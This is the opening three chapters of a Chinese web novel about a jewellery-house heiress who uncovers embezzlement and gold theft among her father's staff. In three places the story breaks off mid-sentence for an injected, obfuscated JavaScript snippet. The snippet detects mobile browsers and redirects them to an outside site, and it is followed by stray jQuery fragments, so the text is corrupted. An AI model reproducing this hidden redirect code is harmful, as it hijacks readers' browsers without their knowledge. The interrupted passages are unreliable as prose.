《珠光宝气》 1. 第1章 九月,神都城。 一入秋,雨水便如天河开了闸,一场接着一场,淅淅沥沥,下了大半个月仍没点儿要停的意思,牛毛小雨缠绵悱恻,硬是将这粗犷北地渲染出一些烟雨江南的味道来。 这日午间,金台坊内行人寥寥,街角一家花肆门口,掌柜的抬头看看天,叹了口气,招呼伙计把门口数十盆半开的菊花搬到屋里去。 正忙碌间,就见对面酒楼停了辆青帷马车,从车上下来三个男子,皆穿着细绸暗花纹的圆领长袍,头戴六合巾,彼此称兄道弟,说说笑笑地往楼里去了。 “小二,照例整治桌酒菜,把你们店里拿手的都呈上来,再来几坛桂花酿。”中间为首的那个中年汉子一进门就高声喝道。 “呦,这不是荣大爷么,多日不见,您老人家越发富贵了,快往里请。”一个店小二殷勤地跑过来,“您今日来的凑巧,楼上还有个位置绝好的雅间儿,又有塘里现抓地脸盆大的螃蟹,膏满黄肥,最是鲜美。” 小二一边把三人往楼上引,一边压低了声音凑到李荣耳边:“还有一件,我只告诉荣大爷你,一会子红漪楼的蕊香姑娘带着几个小娘子,过来咱们这儿,您要是想......”小二嘿嘿一乐,“小的可以提前给您约下。” 李荣白了他一眼:“什么蕊香嘴臭的,当大爷我没见过世面,又不是什么正经头牌,也值当的偷偷摸摸的,你少糊弄我。我们兄弟几个有事商量,一概不叫人服侍,你只叫他们把酒菜快快上来。” “是,是,小的这就去传。” 李荣把另外两个男子让到雅间内,互相谦让一番,这才在首席坐下,那两人打横,一左一右坐在他下首。 一时酒菜齐备,李荣先举杯道:“云良、俊川,李某托大,先敬两位贤弟一杯。” 吴云良和张俊川忙跟着端起酒杯,恭敬道:“大哥哪里话,论年岁属你最长,何况我们还仰赖大哥带我们一道发财,合该我们敬你才是。” 三人碰杯,一饮而尽,互相布菜让酒,渐渐酒酣面热,话也多了起来。 “荣大哥,我是大老粗一个,账目上的事全然不懂,你好歹跟我说说,咱们眼下手里到底有多少银钱了?”吴云良往前欠了欠身子,笑着问。 “是啊,昨儿我家婆娘还说,在城西鸣玉坊相看了间宅子,地界儿好,前后两进,还有个大院儿,她十分中意,回来就一个劲催着我筹钱买下。”张俊川跟着说,“只是对方要价忒狠,少了二百两银子不卖。我手头实在没有,荣大哥,您看咱账上要是富裕,能不能先支给小弟一些。” 见李荣捻着胡须不语,张俊川赶紧补道:“荣大哥你放心,咱们兄弟以后一定唯你马首是瞻,大家有钱一起赚,我的那份让给你大头儿。” 李荣闻言一乐,拍了拍张俊川的肩膀,神神秘秘地伸出手掌冲二人比了个五。 吴云良虎着脸:“五十两?” 李荣摇摇头。 张俊川惊地张大嘴巴:“该不会有五百两吧?” 李荣挑眉,面露得色。 “我的亲娘嘞!”吴云良舔了舔嘴唇,艰难道,“这也太多了,东家出门不过两个多月,咱们就捣腾出这么多亏空来,不会被发现吧?” 李荣冷笑:“瞧你两个那没出息的样儿,自古都是撑死胆大的,饿死胆小的,不过区区五百两银子,哪儿就那么容易被发现了。再说了,哪有亏空,账目一进一出都是平了的,金银首饰交到客人手里头,也都是足斤足两,就是东家回来盘查,也是查不出端倪的。你们怕什么,有我呢。” 两人都只贪财,却不是有主意的,听见李荣如此说,虽神色稍缓,却仍心悸难止。 吴云良思忖道:“荣大哥,东家往日待咱们不薄,说起来五百两银子也不少了,足够咱们兄弟几个买房子置地,操办些产业,不若以后就收手罢,老老实实拿分内的月例,才是安稳长久之道。” 张俊川也惴惴道:“东家回来查不查倒是后话,只是近日苏大姑娘总往铺子里来,她是个最伶俐聪慧的,若是让她瞧出些首尾,可怎么好呢?” “谁?你说玉娘那丫头?”李荣咂了口酒,不屑地冷呵一声,“玉娘一个闺阁小姐,哪里就懂得这些了,她不过是喜爱那些金银首饰,来看个稀奇罢了。你们不见她每每来了,对着我荣叔长荣叔短的十分亲近,我跟着东家堪堪得有十几载光阴,她再疑心不到我身上的,你们只管放心就是。” 李荣说着,从怀里掏出两张银票,分别递与二人:“这上头每张是一百两,两位贤弟且收着,日后积少成多,咱们哥儿仨就离了苏记,另起炉灶,自己再开个金银铺,雇上几个伙计,每日家躺着数钱,那才是长久之计呢。” “荣大哥说得极是,是我们鼠目寸光,只想着发笔横财,枉费了大哥您一片苦心,实在该罚。”张俊川接了银票,宝贝地塞进怀里,提壶给李荣满上酒,自己也自罚一杯。 吴云良坐在一边,面上还是有几分踌躇。 李荣见状,敲着桌面道:“我做大哥的,打心底自然是愿意带着兄弟们发财。你们两个,一个是作坊大师傅,一个专管勘验走货,我又经管着账房,彼此配合无间,方能神不知鬼不觉地把金银淘换出来。若有胆的,咱们往后就还照旧,不过三五年间,也就有足够本钱出去独立门户了;若没胆的,李某也不强求,拿了这一百两银子去。打明儿起,你做你的工,我记我的账,只当没这回事。咱们就一辈子混个温饱,甘心为仆,任人驱使,也没甚可惜的。” 吴云良见他有些恼了,忙讪笑道:“大哥莫生气,俗语说‘开弓没有回头箭’,我们既然行了此事,就不该瞻前顾后的,云良以后只听大哥的。” 李荣满意地笑着捻须:“这才是成大事的气概,来来,喝酒。” 三人推杯换盏,谈笑间又细细说起日后的谋划来。 隔壁雅室内,一双纤手放下定窑白瓷茶盅:“好生招待着那三位贵客,切莫惊动了。” 店小二打躬应喏,垂着头,并不敢直视座上之人:“姑娘放心,小的们嘴严着呢,再不会走脱消息让他们知道您来过。” 苏玉照点点头,对身后的跟着的两个侍女道:“金环、银屏,咱们走吧,回‘苏记’守株待兔。” “是。” 金环、银屏答应着,金环又拿出一粒小银瓜子塞到店小二手里,店小二喜得见牙不见眼,恭恭敬敬把她们送下楼。 大半日一盆花也没卖出去,花肆掌柜的半躺在摇椅上,蔫头耷脑地跷着脚晃悠,艳羡地看着对面酒楼里客来客往,不期然看到三位姿容出众的小娘子走出来,一下子瞪直了眼,撑起身子细瞧。 且不说当前那位,只后面跟着的两个丫鬟,皆是容颜俏丽,穿戴不俗,上穿绫缎窄裉袄,下配百褶石榴裙,腰系五色宫绦,脚蹬粉底绣鞋,每人打着一柄青油纸伞。 伞下露出眉清目秀的脸庞,一个粉面盈腮,弯月眉水杏眼,一副娇憨模样;另一个略微瘦削,瓜子脸,琼鼻樱口,行动爽利。 两人皆梳着双丫髻,金钗、宝簪、掩鬓、分心,一整套头面首饰戴得齐齐整整,富贵逼人。 被她们簇拥在中间的那位小娘子,气质更为出挑,身姿袅娜,举手投足间俱是大家风范,只可惜那姑娘头上戴着金穗儿流苏绢纱双层帷帽,隐隐约约瞧不清楚面容,无端更引人遐思,薄纱后该是怎样的倾国倾城。 花肆掌柜看得呆愣住,却见那位姑娘施施然向他店前走过来。 “姑娘,都什么时候了,家里遭来贼,您还有心情逛花肆。”女子身后一个侍女神色焦急道。 那女子脚步不停,笑道:“多大点子事儿,等我回去就料理了,眼下先给祖母挑一挑重阳节礼是正经,免得她又去寻我娘的晦气。” 临到近前,女子脆生生开口:“掌柜的,近日可有什么新鲜时令的花朵儿?” 掌柜的急忙忙起身,把三人让到花厅内:“姑娘请掌眼,临近重阳,咱们店里新培育了几种菊花给贵人们赏玩。” 苏玉照一眼望去,满花厅里上上下下摆了十来层盆栽,大多数是菊花,有打苞儿的有半开的也有开全了的,大的竟有碗口那么大,紫粉白绿黄,各色皆有,有叫得上名的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370998|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有不认识的。 “真好看,但不知怎么卖?”苏玉照问。 掌柜十分热情,对自家菊花品类如数家珍,一一指给苏玉照介绍:“这是墨菊,这是绿云,这盆灿若云霞的是凤凰振羽,这盆麟爪参差的是盘龙春晓,还有黄石公、玉壶春、蜀国夫人......” 苏玉照随着掌柜的介绍一一看去,点头满意道:“先生真是个中行家,满城花肆里寻去,也未必能有这么多名品。” 掌柜的被夸得心里挺美,嘿嘿一乐:“贵人您是识货的,这还有一盆倭国的舶来品,名唤‘瑞云殿’,鄙人下了许多功夫,好容易才养活了。” 苏玉照摇头:“这个就罢了,白惨惨的,谁稀罕它。” “那您喜欢哪个随便挑。” 苏玉照道:“你先报个价儿,我好挑。” 掌柜的笑道:“姑娘是懂行市的,我也不跟您要谎,连盆带花,大株的四十文,小株的三十文,您看如何?” 苏玉照还没说话,身后银屏先道:“还说不要慌呢,头一遭来你就宰客,我们家四时花卉不断,当然知道行情,顶好的团扇大的菊花,一株也不过二十文,你张口就翻倍,这生意做不成了,姑娘咱们走吧。” 说着挽了苏玉照的手臂要走,掌柜的赶紧拦道:“别家的菊花,只管开得个头大,却没咱们家这些名品,怎么好相比的,再说我这还带着花盆呢。” 银屏瞥了一眼架上的花盆,不屑道:“什么泥瓦罐子也值得说道,我们家里现成的龙泉窑的青瓷器皿,这些白饶给我们都不要。” 掌柜的听了,面上讪讪地:“姑娘若不要花盆,那就再让您五文如何?” 银屏:“再让十文。” 掌柜的:“不能,不能,薄本生意,再让就折本了。” 苏玉照开口道:“银屏,掌柜的养花不易,咱们也别太强人所难了。既这么着,掌柜的你只管拣开得好的,酱紫、朱红、金黄、粉白、翠绿各色各两百株,差人送到‘万宝楼’去,到了自有人接应;另备一百株,送到金台坊东的苏府去,告诉门房小厮搬到福安堂,让他们回里头,就说是大姑娘孝敬老太太赏玩的。” 掌柜的拱手笑道:“原来是‘万宝楼’的贵客,小人有眼无珠,姑娘莫怪。” “岂敢。”苏玉照道,“咱们都是一样,凭着手艺做个小买卖,养家糊口罢了。” “哎呦小人哪敢跟您那金屋银殿的相提并论呐,还得仰仗姑娘多照顾照顾生意。” 苏玉照没接茬,转而道:“至于这花的价格么,就统论三十文一盆吧。” 掌柜的:“……” 说了半天,这不还是要让十文么,而且还带上花盆。 “姑娘您杀价太狠......”掌柜的一脸难色。 苏玉照但笑不语。 掌柜的待要拒绝,无奈对方要的太多,他真舍不得不做这笔生意,只得愁眉苦脸地摆摆手:“行吧行吧,您说您天天的日进斗金,也和我们讲这十文八文的,好没意思。” 苏玉照笑回道:“掌柜的这话说的,谁家的钱是大风刮来的不成,再者说我一个小辈儿,又不当家做主的,每月领那几两银子的月钱,买胭脂头油都不够呢,要不是赶上重阳,得哄老太太开心,就这些我也舍不得呢。” 掌柜的经她这么一说,心里一点不快也消散了,毕竟做成这一大单生意,还是高兴的,便忙着张罗伙计们去花房搬运菊花,按地址送去。 苏玉照命金环留了张条子,上面写明何事何事做准白银九两整,印上自己的凤纹小印,嘱咐掌柜的交了菊花,去“万宝楼”账房凭条子领银子,然后带着金环、银屏出了花肆,上了拐角处等在那里的一辆双驾马车,直接去了“万宝楼”。 这厢酒楼里,李荣三人正喝到兴头上,一个个面酣耳热,都有些酩酊,把之前口中嫌弃的蕊香并两个小娇娘也叫了来,一人搂了一个在怀中,手伸到衣服里揉捏取乐。 忽听房门被人急急敲响:“荣大爷,不好了,大姑娘到楼里去了。” 三人皆是一凛,酒醒了七八分。 2. 第2章 “你嚷什么,毛手毛脚的。”李荣推开蕊香,起身打开门,冲门外的小厮骂道,“大姑娘又不是头一遭去楼里,值得你这么慌张么,瞧你那副做贼心虚的样儿,干了那点子亏心事全挂在脸上了。” 小厮急得直跺脚:“荣大爷,这回不一样,大姑娘一进楼就让封帐,后院也叫停火,除了前殿迎客的,其他人一概不许动,说是要彻查什么,我一看情形不好,尿遁跑出来给几位大爷送信,您几位快回去看看吧,若真让她查出什么,大家都完了。” 吴云良和张俊川一听闻,吓得脸都白了:“大哥,这可怎么是好?” 李荣沉吟片刻,心中捋清来龙去脉,料想没什么破绽,苏玉照即便是查,谅也查不出什么,于是手一挥,沉稳道:“不用怕,咱们先回去看看,想来她也不过是一时兴起查查帐,怕的是老爷不在家,底下人都松散了,给大伙儿紧紧皮罢了,并不是针对咱们。你们都镇定些,不要不打自招,只要没证据,即便她疑心,也不能把我们怎么样,大不了,就先安分些时日。” “好,咱们就先回去,见机行事。” 两人答应着,跟着李荣和来报信的小厮一起,匆匆上了马车:“快,回‘万宝楼’。” “万宝楼”的大名,在神都城可谓妇孺皆知。 此楼坐落在皇城南金台坊正中,上下五层,楼高百丈,金碧辉煌。外头红柱碧窗、翘角飞檐,琉璃瓦、赤金砖,每一层瓦当上都印着佛体“卐”字文,檐下挂着一百零八盏羊角白玉锦绣宫灯。夜幕降临时,专有掌灯人照管灯油烛火,彻夜不息,远远望去更加华光璀璨,巍巍大观。 楼内鳞次栉比,每层都摆满了博古架,架子上一格一格,分区展示着华丽精美的首饰头面,一走进去,满目琳琅,任是再目下无尘的人,也得让这里面的珠光宝气迷了眼。 前面是高楼,后头还有个五进的大院儿,全都城鼎鼎有名的工匠师傅们都被招揽在此,一件件巧夺天工的饰品便出自他们之手。若忙起来,师傅们便在院中歇宿,里头有专人伺候,也有专门的大厨房供应饭食。 苏玉照此时端坐在后院正厅里,金环、银屏服侍左右,只有大掌柜陈开德,二掌柜陈开信在屋里,三掌柜陈开仁带着其他掌事的都候在厅外。 苏玉照托着茶盏,轻轻抿了一口。 此时她已摘下帷帽,换了一身金桂色绣云长裙,外罩落霞红缂丝对襟褙子,榴花嵌宝排扣,颈上戴着碧玉璎珞圈,头梳芙蓉髻,插戴金凤衔珠钗、金镶玉牡丹华胜,两鬓斜插珍珠流苏步摇,。 整个人像是金玉堆出来的,雍容华贵、明艳妩媚,一双桃花眼顾盼生辉,看人时目光灼灼、深不见底,唇畔虽常挂着笑,却是八面玲珑、不怒自威,让人不敢小觑。 偏她又不是个端庄持重的性子,比不得一般的大家闺秀那样温柔和顺。打小跟着父亲在生意场上混久了,三教九流都见过,便养成了个混不吝的性格,天不怕地不怕,整日家油嘴滑舌,嬉笑怒骂。领头带着一群纨绔喝酒耍钱、打马射猎,或品茗焚香、拨丝弄管,拈酸诗,唱小曲儿,无论什么场子她都来得。 “陈大伯,准备的怎么样了?”苏玉照问陈开德。 “账都封了,李荣经手的那几本都拣了出来,有问题的地方我已做了标记,单等姑娘过目。另外,跟着李荣、吴云良、张俊川做工的几个学徒小厮也都绑了,现关在后头柴房里,请姑娘发落。”陈开德回道。 苏玉照点头,又问:“通风报信的那个小厮,放出去了?” “是,听姑娘的吩咐,看院子的护卫没拦,让他翻墙跑了。”陈开德不解道,“姑娘放他去给李荣报信,不怕他们逃出城去?” 苏玉照放下茶杯,往椅背上一靠,冷笑了一声,笃定道:“我猜他们舍不得跑,阖家老小都在京城,离了我这里,他们再往哪搜刮银子去?我先前又没漏风声,他们仗着我年轻,只当我不晓事,胡闹着玩,摆架子耍威风来的。如今他们只怕正急急地往回赶,想要遮掩过去呢。” “我是怕万一打草惊蛇,何不悄悄地等他们回来,把人抓了再细审。”陈开信在一旁道。 “二伯伯,我还等着回去陪我母亲用晚膳呢,难道让我巴巴地在这里等着他们?想得美。”苏玉照笑道,“且看着吧,这会子他们应该已到门口了。” 话音未落,就听外面有人嚷道:“玉娘来了?可是不凑巧,荣叔午间叫了两个兄弟出去吃了几杯,这会子才回来,你早说要来,我好去接你。” 李荣一面说,一面跨步走进花厅,来至苏玉照面前。吴云良和张俊川则止步停在外面,钻到一众管事们中间打探消息,管事们面上都淡淡地,脚下挪开三尺,离他俩远远的。 吴云良和张俊川二人见此,不由心头惴惴,目光四下踅摸一圈,发现素日跟自己交好的几个管事小厮都不在场,更觉没着没落起来。但众人都庄严肃穆侍立以待,他们也不敢造次,只得闭嘴敛神,静静等着里头的动静。 见李荣回来,苏玉照冲陈开信挑了挑眉,目光狡黠:怎样?我说他们舍不得咱这块儿肥肉吧。 “唉呀荣叔叔你可算回来了,快快请坐。他们气死我了,我今儿想起来,父亲出门两月有余,咱们的账都没盘点盘点,我怕有那起子小人,看着东家不在家,心思就活泛起来,在那秤上、账上的做手脚,就想着来理一理,也好放心,谁知他们竟推三阻四的,可见心里有鬼。正好荣叔你来了,可要替我细细地查明白,别让人家糊弄了我去。”苏玉照满面堆笑说道。 一番话说的李荣心头十分熨贴,他很不见外地坐到苏玉照下首,大手在桌案上一拍:“侄女儿放心,咱们都是跟着东家十多年的老人了,哪个敢鬼鬼祟祟的不老实,我李荣第一个不饶他。” “荣叔,这可是你说的,那咱们就正经的查起来,若是查到什么亲的近的人身上,荣叔可不许徇私。” 苏玉照从金环手里取过一把巴掌大的黄花梨木翠珠小算盘,擎在掌中,“哗楞”一声,算珠归零:“走吧,拿上这两个月的账本,先去灶上看看。” 李荣一愣,陪笑道:“何必这么麻烦,灶上烧着炭火,乌漆麻黑腌臜得紧,还是交给荣叔,待我查明白了,再来回姑娘。玉娘放心,我心里向着你,无论查出哪个,我定当公正处置,绝不护短。” 苏玉照抬眸,皮笑肉不笑地看向李荣,盯了一瞬,收回目光,起身向外面走去。 李荣心中蓦地打了个突。 众人簇拥着苏玉照来到后院一间大屋前,此屋与别处不同,大门大窗,屋顶上一溜并排十来个烟囱。 早有护卫候在抱厦前,见她们来了,忙将落了锁的正门打开:“回少东家,里头炭火熄了,几个灶上的坩埚都没动,还是昨天收工时的样子。” 苏玉照带人走进去,银屏让小厮摆了桌案圈椅,请苏玉照坐了,命人重新上茶,又让账房的人,把近来的账本放到桌上。 苏玉照一边把玩着手中的小算盘,一边吩咐:“另起炉火,把坩埚重新加热,将里头的金子熔了,请大掌柜的验一验,有掺假掺杂的挑出来。每个坩埚上都印着各自师傅的名字,大家也都在这里,彼此做个见证,真查出来可别说我冤枉了谁。” 匠人师傅们纷纷回说“不敢”。 张俊川闻言,悄悄松了口气。还好,他平时做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370999|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事十分谨慎,从不在坩埚中留痕迹,每日收工时,都把坩埚清理干净,不像其他师傅,没用完的金料就大咧咧的剩在那里。 看来今日逃过一劫。 陈开德一挥手,一众小厮上前,七手八脚点燃炭火,把坩埚架到火上,不一会儿,坩埚中的金子熔成一团,陈开德上前一一查验。 不多时,来回说:“有两个师傅锅里的金子纯度不够,煅烧后有变黑的迹象,疑似加了银和黄铜,其他师傅的倒是干净,还有张大师傅,他的坩埚里空空如也,无从勘验。” 苏玉照看向堂中众人:“是哪两位,自己站出来,不用等着我点名了吧。” 众人面面相觑,其中两个已经吓得面色惨白,两股战战。 其中一个膝盖一软跪了下去,不住讨饶:“少东家开恩,小人知错了,我只是一时糊涂,您念在我是初犯,饶了我这回吧。” 另一个也是磕头如捣蒜:“少东家容禀,小人真的不是有意偷金,只因上月家中老娘害了肺咳,大夫说得温养,开了许多名贵药材,小人买不起,这才起了歪念,但通共也只昧了八钱金子,少东家若要罚,只管扣我的月例,只别辞了我出去。” “呦,我当是谁,这不是赵淮赵大哥么。荣叔,我记得他是你夫人家内侄儿对吧?”苏玉照看向李荣。 李荣气得瞪起眼,上前在赵淮头上狠狠拍了一巴掌:“你这混账东西,你娘病了,你怎么不跟你小姨妈说,难道咱们家几两银子的药钱还吃不起了?值当的偷鸡摸狗的,我这张老脸都被你丢尽了。“ 赵淮鼻涕一把泪一把,扯住李荣的衣摆:“姨夫,我真的知错了,您帮我求求少东家,法外开恩,饶我这一遭吧。” 李荣脸色铁青,待要徇私求情,可偏偏刚夸下海口,此刻也不好打脸张这个嘴,又恐赵淮胡乱攀扯,再牵连出他来。 只得将赵淮一脚踢开,边背着人冲他使眼色,边故作刚正道:“你自己做的好事,我再不多管,要求你自己求姑娘。” 赵淮无法,又跪直了,向苏玉照膝行两步:“少东家,您就念在小的事出有因,饶了我吧,小的再不敢了。” 苏玉照勾唇:“这么说,我还得称赞你一片孝心,情有可原了?” “小人不敢扯谎,请少东家明察。”赵淮磕头道。 “是吗?那怎么前儿我去王庄头那里玩儿,瞧见你也在,掐着腰,趾高气扬,骰子摇得震天响,面红耳赤的满嘴里喊着‘开大、开小’,敢情是我眼浊,瞧错了人?”苏玉照睨着他问。 赵淮被揭了底,神情一下子萎顿下去,额头冷汗涔涔:“没.....没有,的确是小人不假,小人只是一时手痒……” 苏玉照嗤笑:“一时手痒,输了个精光?” “我......”赵淮脸羞得紫涨,哑口无言。 苏玉照道:“按理说,‘苏记’也不是那起刻薄主家,每月给大师傅的月例,多则八两,少则五两,便是学徒小工,每月也有二两银子的月钱。你们满城里打听去,那些衙门里的官吏老爷们,月俸也不过就这么些。只要是踏实过日子的,不赌钱不逛花楼,养家糊口再给妻儿父母积攒点体己,怎么也尽够了。即便你娘真个病了,别说吃几副药,就是人参燕窝,偶然也吃得起。偏你又赌钱,败光家业不算,还要偷金,更可恶一层了。” “是啊,是啊,主家待咱们好,咱们更该兢兢业业,尽好本分,你怎么干出这等家贼行径,断忽饶不得。”其他工匠师傅皆说道。 二掌柜陈开信道:“既如此,不如绑了,扭送官府,按律处置。” 赵淮闻言,吓得面如死灰,一下子瘫倒在地。 3. 第3章 众人纷纷附和:“对,把他们送官,做出这等没脸的事,别带累了我们的名声。” 当下就要寻绳子来,将他二人五花大绑。 赵淮伏在地上,只拿眼偷偷瞟李荣,李荣回瞪他一眼,示意他不要乱说话。 另一个叫王亮的则跪在那里,闷着头一直拿袖子抹泪,见求情无望,便再不发一言。 “且慢。”苏玉照抬手,转头问王亮:“你呢,偷了多少,又为什么?敢情你老子娘也病了,等着你偷钱买药呢?” 王亮愧声道:“前后昧了约么一两,都打酒吃了,家里婆娘最厌我酗酒,把持着家用不肯给我。耐不住肚里有馋虫勾着,做工时又天天守着金疙瘩,没忍住就......” 苏玉照道:“既如此,那就莫怪我无情了。此事说起来可大可小,但今日所查,只是从坩埚中得出些端倪,你二人究竟偷了多少,已然无从考证,你说八钱他说一两,也不过是你们自己的一面之词。钱数虽少,可若送到官府审问起来,轻则鞭笞,重则流放,没的害得你们破家败业,我心里也不落忍。不如就辞了你两个,自己另谋生路去吧。” 陈开信咬牙道:“就这么放过这起小贼,太便宜他们了。” 苏玉照笑着摇摇头:“他们好歹在‘苏记’干了这几年,没有功劳也有苦劳,况赵淮又是荣叔的亲戚,我瞧在荣叔面上,也该网开一面。” 陈开信一脸不解,今日这么大阵仗,为的不就是揪出李荣这几个内贼,怎么反倒查起小喽啰来,而且还要给李荣留脸面,高高拿起轻轻放下,这是什么道理? 李荣则感激涕零:“多谢姑娘,你放心,这不孝子我带回去一定好好管教,他偷的银钱,我也会尽数加倍补上。” “有荣叔处置,我自然放心。”苏玉照颔首,“来人,拿他两个的契书来。” 专管人事文书的掌事忙答应一声,带人到前头楼里上房,打开按年份编制的柜匣子,从里面找到赵淮和王亮的契书,取出回来呈到苏玉照面前。 苏玉照看过一遍:“你们两个,当时入‘苏记’时,签的都是二十年长契,契书上写明,若无缘故,除非自愿出去,否则主家不得随意撵辞。但有一条,若有偷盗、旷工或背主串通对家者,则严惩不贷,重者送官论罪。今日我只辞了你们出去,你二人可还有话说?” 赵淮和王亮皆垂头不语。 “既无话,就收拾东西出去吧。”苏玉照道,“至于偷的金钱,就按你们自己说的数额,与账房立个欠据,签字画押,限三个月归还。在‘苏记’这几年,你们的手艺也算能出师了,对外我只说是你们自己请辞,不会说是因盗窃而起,想来出去再找个金银楼做工,也不是什么难事。往后,你们好自为之吧。” 二人皆磕头谢恩,然后被管事的带了出去。 众人见他们被发落了,一个个在堂下垂首侍立,神情愈加恭敬。 心中都暗道少东家虽年轻,却对楼中事务了如指掌,份例契约理得明明白白,发落起人来又干脆利落,且又比老东家更不念旧情,往后还是老实本分的好,千万别被纠到错处。 那两个被撵出去的,虽说只是丢了营生,好歹还能再去别家,但别家给的工钱跟“苏记”可没得比。 李荣见苏玉照处置了两个偷金的,以为今日的事就算完了,找两个人杀鸡儆猴,立威的目的也已达到。 于是放下心来,对苏玉照笑道:“玉娘青出于蓝,越发干练了,老东家回来知道了,必定高兴。既然此间事了,我带姑娘到楼里逛逛?最近又有几件新花样的首饰,玉娘看看喜不喜欢。” 苏玉照笑了笑:“不急,楼里自然要去的。但我还有两句话,要与诸位说。” 李荣笑容一僵,讪讪退到一边。 陈开德拍了两下巴掌,让众人肃静。 苏玉照扫视一圈儿,沉声道:“今日查出这两个人来,你们也看到了,但其他人今儿虽未露形,也保不得就干净,要有人主动坦白的,趁早跟我说明,我也只撵出去了事。若一味装憨,不见棺材不掉泪,过后再让我查出来,可定是要送官的。到那时,是死是活,可就不由我说了算了,你们仔细想清楚。” “借我们十个胆子,也再不敢的。”众人忙道,“少东家尽管查,查出谁来,任凭处置,绝无怨言。” “好,这话是你们说的。”苏玉照拨弄着算盘上的玉珠儿,慢条斯理道,“你们不要以为,自己的坩埚里没有脏杂,就能万事大吉了。我近来翻看帐册,咱们楼里,单金饰一项,每日均摊能有两百金的进账,按五分利计,那么每日所售金饰重量便是一百两金子,一月就是三千两,两个月就是六千两,没错吧?但这两个月,楼里从钱庄账上支取的金锭,有将近八千两,多出来的二千两,哪儿去了?总不能凭空飞了吧?” 李荣闻言,背后冒了汗,心中也暗暗纳罕,他所记的账目上,从钱庄支取的银两的确只有六千两不假,怎么到了苏玉照口中,又出来个八千两,这是从何说起呀? 难不成除了他之外,还有人胆大包天,敢虚支冒领? 他们一伙儿偷金,都是靠着制作金饰时,往里面掺些银锡黄铜,克扣的是客人的,一般人信任“苏记”的口碑,拿回去也不会真烧来检验。 就算吃下豹心熊胆,他也不敢打钱庄那头的主意,只要两边一对账,一查一个准 李荣思来想去,又不禁暗喜,若真有别人也偷金,正好撺掇着苏玉照严办,把那人揪出来,自己那一份,也让他顶缸,便故做惊怒道:“两千两金,这可不是小数,待我去同钱庄的人对账,看看是哪个黑心的领了去,拿住他,叫他连本带利吐出来。 下面有师傅小声回道:“打金时有些损耗也是正常,尤其是近日几家王府、侯府里定制的一些款式,工艺繁复,损耗就更大......” “呵......”苏玉照打断他,“我自然知道打金有损耗,也知道你们的行话,什么‘留锅底’,‘金银错’,又有什么‘金龙过江掉层麟’,一般的零碎我也不与你们理论,全当大家辛苦,赏你们吃酒。但是二千两,你跟我说损耗?是欺我年轻,诸事不懂,还是觉得我是闺阁小姐,面薄心软,拉不下脸来跟你们算账,由着你们拿捏呢?” 一众人都吓得噤若寒蝉,缩着脖子低下头当鹌鹑。 苏玉照深吸一口气,将他们晾在那里,自己端起茶盏吃茶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371000|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这一行的弊病由来已久,即便是苏玉照的父亲苏檀林在家时,也不能断根,只是那会子都是小偷小摸,数额不大,苏檀林便睁一只眼闭一只眼,不做计较。 苏玉照不忿,与父亲理论起来,苏檀林还说:和气生财,有钱大伙一起赚,咱们挣了钱,也得给底下人漏一漏,一来也让他们体面些,二来也防小人嫉妒。小处施恩,大处受益,何乐而不为呢? 苏玉照对此却颇不以为然,反驳说:与人施惠要放在明处,既是要给他们体面,就大大方方地给师傅们涨工钱,而不是纵容这些人鸡鸣狗盗。父亲以为自己是在施恩,他们可不念咱们的好处,只当主家软弱蒙昧好欺哄,以为自己多有本事呢。况且还有许多师傅恪守本分的呢,父亲对奸滑者一味纵容,对那些好的就不公平,时间长了,他们岂不寒心? 说了好几遭,苏父终于醒转,决定听女儿的意见,好好整饬一番。 谁知这档口又因采办从滇南带回来一块儿玉,颜色翠绿,飘花灵动,十分漂亮。采办说这玉是蒲甘国出产的,在滇南一带已成为风尚,只是北地还没有。 苏父一眼便爱住,想要大批买来,或做成玉钏、戒指,或嵌到首饰上,又怕采办不会挑,看走了眼,于是决定亲自走一趟。 整顿工坊的事便耽搁下来,谁知苏父一走,李荣等人没了忌惮,愈加贪得无厌起来。 苏玉照冷眼瞧着,实在不像,这才出手严查。 既然出手,就要一击必中,斩草除根,从此断了行里这个不成文的规矩。 至于如何施行,苏玉照心中已有决断,待晾得众人差不多了,她这才开口:“你们当中,谁是贼人,我已经都知道了,实相的就自己招了,咱们借一步说话,我给你留着脸面,若抵死不认,可就别怪我了。” 底下仍无人应答,吴云良和张俊川都看向李荣,李荣暗中冲他两个摇摇头。 他认为苏玉照肯定没证据,连赵淮、王亮偷了多少,她都查不出来,又岂能知道他们这里头的玄机。 且让她把那个私自去钱庄领银子的揪出来,再作理论。 